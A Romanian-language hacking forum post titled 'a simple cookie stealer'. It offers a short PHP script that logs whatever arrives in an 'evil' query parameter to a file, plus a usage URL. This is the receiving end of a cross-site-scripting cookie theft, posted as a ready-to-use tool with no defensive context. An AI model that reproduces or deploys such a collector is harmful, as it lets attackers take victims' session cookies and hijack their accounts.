Jump to content
anotherboy

Un simplu cookie stealer

Recommended Posts


<?php
$cookie = $_GET['evil'];
$file = 'logs.txt';

if(is_writable($file)) {
if(!$login = fopen($file, "a")) {
echo "Fisierul nu se poate deschide";
exit;
}
if(fwrite($login, $cookie) === FALSE) {
echo "Nu se poate scrie in fisierul $file";
}
echo "GOD MORNING!";
fclose();
} else {
echo "Nu se poate scrie in fisierul $file";
}
?>

GOD MORNING este mesajul de succes:-)

Site.com/cookie.php?evil=

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...